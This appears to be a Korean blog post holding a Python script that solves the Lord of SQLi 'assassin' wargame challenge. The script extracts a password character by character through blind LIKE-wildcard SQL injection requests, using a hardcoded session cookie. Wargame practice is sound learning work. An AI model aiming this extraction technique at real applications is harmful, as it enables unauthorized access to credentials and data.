티스토리 뷰

정보보안

[정보보안] LoS assassin 코드

SweetDev 2021. 1. 22. 08:59
import requests

password = "9"
for i in range(7):
    for j in range(48, 122):
        URL = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
        query = {"pw": password + chr(j) + "%"}
        print(query)
        headers = {'Content-Type': 'application/json:charset=utf-8'}
        cookies = {'PHPSESSID': 'jlhgekgppjq61l9bc7q515voeo'}
        res = requests.get(URL, params=query, headers=headers, cookies=cookies)
        # print(res.text)
        if ("Hello admin" in res.text) or ("Hello guest" in res.text):
            if chr(j) != '_' and chr(j) != '%':
                print("[=]Found:" + chr(j))
                password = password + chr(j)
                break
        # else:
            # print(res.text)
print(password)
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
글 보관함